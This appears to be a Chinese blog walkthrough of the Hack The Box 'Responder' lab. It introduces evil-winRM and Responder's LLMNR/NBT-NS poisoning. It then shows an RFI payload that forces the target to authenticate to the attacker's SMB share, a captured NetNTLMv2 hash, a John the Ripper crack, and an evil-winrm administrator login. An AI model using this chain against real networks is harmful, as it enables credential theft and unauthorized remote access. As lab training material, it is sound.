Responder与evil-winRM配合远程登录windows
本文仅用作记录学习和总结,文中提到和使用的靶场来自Hack The Box的Responder靶场。
Responder与evil-winRM配合远程登录windows
0x01.evil-winRM
0x01.1概述
在使用和介绍Responder之前,先来了解一下evil-winRM
:
evil-winrm
是Windows远程管理(WinRM) Shell的终极版本。
Windows远程管理是WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防火墙影响的协议,允许不同供应商的硬件和操作系统相互操作。而微软将其包含在他们的系统中,是为了便于系统管理员在日常工作中,远程管理服务器,或通过脚本同时管理多台服务器,以提高他们的工作效率。
此程序可在启用此功能的任何Microsoft Windows服务器上使用(通常端口为5985),当然只有在你具有使用凭据和权限时才能使用。因此,我们说它可用于黑客攻击的后利用/渗透测试阶段。相对于攻击者来说,这个程序能为他们提供更好更简单易用的功能。当然,系统管理员也可以将其用于合法目的,但其大部分功能都集中于黑客攻击/渗透测试。
0x01.2安装和使用
安装:
方法一
1 | sudo apt install evil-winrm |
方法二:
1 | git clone https://github.com/Hackplayers/evil-winrm.git |
方法三:
1 | gem install evil-winrm |
使用:
首先查看帮助文档
1 | root@kali:~# evil-winrm -h |
0x02.Responder
0x02.1 概念
响应 LLMNR、NBT-NS 和 MDNS 投毒者。 它将根据名称后缀回答特定的 NBT-NS(NetBIOS 名称服务)查询(请参阅:http://support.microsoft.com/kb/163409)。默认情况下,该工具将仅响应适用于 SMB 的文件服务器服务请求。
0x02.2 特性
内置 SMB 身份验证服务器
默认情况下支持具有扩展安全性 NTLMSSP 的 NTLMv1、NTLMv2 哈希。 已成功测试从 Windows 95 到 Server 2012 RC、Samba 和 Mac OSX Lion。 NT4 支持明文密码,当设置--lm
选项时,LM 哈希降级。该工具启动时默认启用此功能。
内置 MSSQL 身份验证服务器
为了将 SQL 身份验证重定向到此工具,您需要为 Windows Vista 之前的系统设置选项 -r(用于 SQL Server 查找的 NBT-NS 查询使用工作站服务名称后缀)(LLMNR 将用于 Vista 和 更高)。 该服务器支持 NTLMv1、LMv2 哈希。 此功能已在 Windows SQL Server 2005 和 2008 上成功测试。
内置 HTTP 身份验证服务器
为了将 HTTP 身份验证重定向到此工具,您需要为早于 Vista 的 Windows 版本设置选项 -r(用于 HTTP 服务器查找的 NBT-NS 查询使用工作站服务名称后缀发送)。 对于 Vista 及更高版本,将使用 LLMNR。 该服务器支持 NTLMv1、NTLMv2 哈希和基本身份验证。 该服务器已在 IE 6 至 IE 10、Firefox、Chrome、Safari 上成功测试。
注意:此模块也适用于从 Windows WebDav 客户端 (WebClient) 发出的 WebDav NTLM 身份验证。 您现在可以将自定义文件发送给受害者。
内置 HTTPS 身份验证服务器
与上面相同。 文件夹 certs/ 包含 2 个默认密钥,其中包括一个虚拟私钥。 这是故意的,目的是让 Responder 开箱即用。 添加了一个脚本,以防您需要生成自己的自签名密钥对。
内置 LDAP 身份验证服务器
为了将 LDAP 身份验证重定向到此工具,您需要为早于 Vista 的 Windows 版本设置选项 -r(用于 HTTP 服务器查找的 NBT-NS 查询使用工作站服务名称后缀发送)。 对于 Vista 及更高版本,将使用 LLMNR。 该服务器支持 NTLMSSP 哈希和简单身份验证(明文身份验证)。 该服务器已在 Windows 支持工具"ldp"和 LdapAdmin 上成功测试。
内置 FTP、POP3、IMAP、SMTP 身份验证服务器
该模块将收集明文凭据
内置 DNS 服务器
该服务器将回答 A 类查询。 当它与 ARP 欺骗结合起来时,这真的很方便。
内置 WPAD 代理服务器
如果启用了“自动检测设置”,此模块将捕获网络上启动 Internet Explorer 的任何人的所有 HTTP 请求。 该模块非常有效。 您可以在 Responder.conf 中配置自定义 PAC 脚本,并将 HTML 注入服务器的响应中。 请参阅 Responder.conf。
浏览器监听器
该模块允许在隐身模式下找到 PDC。
指纹识别
当使用选项 -f
时,响应程序将对发出 LLMNR/NBT-NS 查询的每个主机进行指纹识别。 所有采集模块在指纹模式下仍然可以工作。
ICMP 重定向
1 | python tools/Icmp-Redirect.py |
适用于 Windows XP/2003 及更早版本上的 MITM 域成员。 这种攻击与 DNS 模块相结合非常有效。
流氓 DHCP
1 | python tools/DHCP.py |
DHCP 通知欺骗。 允许您让真正的 DHCP 服务器发布 IP 地址,然后发送 DHCP Inform 应答以将您的 IP 地址设置为主 DNS 服务器,以及您自己的 WPAD URL。
分析模式
该模块允许您查看网络上的 NBT-NS、BROWSER、LLMNR、DNS 请求,而不会破坏任何响应。 此外,您还可以被动映射域、MSSQL 服务器、工作站,看看 ICMP 重定向攻击在您的子网上是否可行。
0x02.3 Responder欺骗原理
在使用Responder之前,我们要先了解windwos默认开启的三种协议,这三种协议分别是链路本地多播名称解析(LLMNR)、名称服务器(NBNS) 协议和多播DNS(mdns)协议。
LLMNR
**链路本地多播名称解析(LLMNR)是一个基于域名系统(DNS)**数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。Windows 操作系统从 Windows Vista开始就内嵌支持,Linux系统也通过systemd实现了此协议。它通过UDP 5355端口进行通信,且LLMNR支持IPV6。
NBNS
**网络基本输入/输出系统(NetBIOS) **名称服务器(NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。通过UDP 137端口进行通信,但NBNS不支持IPV6。
mDNS
在计算机网络中 ,**多播DNS( mDNS )协议将主机名解析为不包含本地名称服务器的小型网络中的IP地址。 它是一种零配置服务,使用与单播域名系统(DNS)**基本相同的编程接口,数据包格式和操作语义。 虽然Stuart Cheshire将mDNS设计为独立协议,但它可以与标准DNS服务器协同工作。它通过UDP 5353端口进行通信,且mDNS也支持IPV6。
目前仅有windows 10以上的系统支持mdns,经测试发现,禁用了llmnr后mdns也会被禁用。
总的来说,以上几种协议在windows中都是默认启用的,主要作用都是在DNS服务器解析失败后,尝试对windows主机名称进行解析,正因为默认启用、且实现方式又类似于ARP协议,并没有一个认证的过程,所以就会引发各种基于这两种协议的欺骗行为,而Responder正是通过这种方式,欺骗受害机器,并使受害机器在后续认证中发送其凭证。
0x02.4 使用方法
1 | root@kali:~#responder -h |
0x03 靶场实战–Responder与evil-winRM配合远程登录windows
测试环境:
1 | kali (攻击机) 192.168.154.128 |
开启靶机
前置的步骤简单过一下:
TASK 1
When visiting the web service using the IP address, what is the domain that we are being redirected to?
1 unika.htb
直接curl探测一下就行
访问域名需要在本地的hosts文件就行一个配置:
TASK 2
Which scripting language is being used on the server to generate webpages?
1 PHP
直接使用wappalyzer插件即可
TASK 3
What is the name of the URL parameter which is used to load different language versions of the webpage?
1 page
查看网页源代码:
TASK 4
Which of the following values for the
page
parameter would be an example of exploiting a Local File Include (LFI) vulnerability: “french.html”, “//10.10.14.6/somefile”, “…/…/…/…/…/…/…/…/windows/system32/drivers/etc/hosts”, “minikatz.exe”
1 ../../../../../../../../windows/system32/drivers/etc/hosts
这里熟悉**文件包含漏洞(FI)**师傅能直接get到点:
TASK 5
Which of the following values for the
page
parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: “french.html”, “//10.10.14.6/somefile”, “…/…/…/…/…/…/…/…/windows/system32/drivers/etc/hosts”, “minikatz.exe”
1 //10.10.14.6/somefile
这里和上一问同理
TASK 6
What does NTLM stand for?
1 NT (New Technology) LAN Manager (NTLM)
查阅Wiki百科就行(可以往下深入了解,这是内网的开始…
TASK 7
Which flag do we use in the Responder utility to specify the network interface?
1 -I
通过上面的帮助文档可以知道
TASK 8
There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as
john
, but the full name is what?.
1 John the Ripper
也是查阅Wiki百科即可
本文的关键操作,可直接跳至此处
接下来将是本文的重点操作:
首先查看一下自身ip(vpn),并开启监听
开启监听:responder -I tun0 -w -d
接着利用web端的**远程文件包含漏洞(RFI)**访问我自身(10.10.14.115)的任意文件,进行一个Hash泄露
payload:
1 | http://unika.htb/index.php?page=//10.10.14.115/somefile |
Responder就可以捕获到来自受害机(10.129.48.161)带有用户的密码(password)的Hash值
1 | Administrator::RESPONDER:9baf19c29ef21567:761FED4C7E3DB9BCFEF3E747E797B10D:010100000000000000E56ED168C8D901D119B9B66118B37A00000000020008004E0044004200450001001E00570049004E002D004C004C0047004200590033003100340035005800510004003400570049004E002D004C004C004700420059003300310034003500580051002E004E004400420045002E004C004F00430041004C00030014004E004400420045002E004C004F00430041004C00050014004E004400420045002E004C004F00430041004C000700080000E56ED168C8D901060004000200000008003000300000000000000001000000002000008400CDB8B7CEB11867758BC8795830343D40C19570BB7035C3D1AF789B7CE19F0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100310035000000000000000000 |
将这段字符串保存到一个txt文件中,接下来使用JHON进行一个Hash爆破:
1 | john -w=/usr/share/wordlists/rockyou.txt admin.txt |
能够获取到Administrator用户的密码为:badminton
TASK 9
What is the password for the administrator user?
1 badminton
TASK 10
We’ll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
1 5985
使用nmap进行一个开放端口探测即可:
1 | nmap -p- --min-rate 1000 -sV 10.129.48.161 |
拿到用户的账户和密码之后就到了一开始所提到的evil-winRM的使用了
1 | evil-winrm -i 10.129.48.161 -u administrator -p badminton |
这样就可以远程登录windows服务器啦,接下来我们能做到的事儿有很多。
第一步肯定是找题目需要的flag
找到我们需要的flag文件只是最基础的,别着急提交,不然就浪费这个练习工具的好机会了
可以多试试几个命令:
menu:加载Invoke-Binary和l04d3r-LoadDll函数。当加载ps1时,会显示其所有功能。
download:下载远程文件到本地,如果远程文件在当前目录中,则不需要local_path。
1 | download local_path remote_path |
这里可以尝试一下下载flag.txt
upload:从本地(kali)上传文件到目标机器,如果本地文件与evil-winrm.rb文件位于同一目录中,则不需要remote_path。
1 | upload local_path remote_path |
这里可以试着传一个txt文件
Invoke-Binary:允许在内存中执行从c#编译的exe。该名称可使用tab键自动补全,最多允许3个参数。可执行文件必须在-e参数设置的路径中。
这里由于我在连接时并未指定exe的路径所以这里没法正常执行命令。
**services:**列出所有服务(无需管理员权限)
加载 powershell 脚本
要加载ps1文件,你只需键入名称(可以使用tab自动补全)。脚本必须位于-s参数中设置的路径中。再次键入menu并查看加载的功能。
这里我没指定路径所以是没有powershell脚本的,所以没法正常演示。
最后
本次的分享就到这儿结束了,当然还有很多的操作和细节没有能够展示到,后续就留给师傅们去探索了。
下面附上本文的参考文章链接:
参考文章:https://www.freebuf.com/sectool/210479.html
https://www.freebuf.com/articles/network/256844.html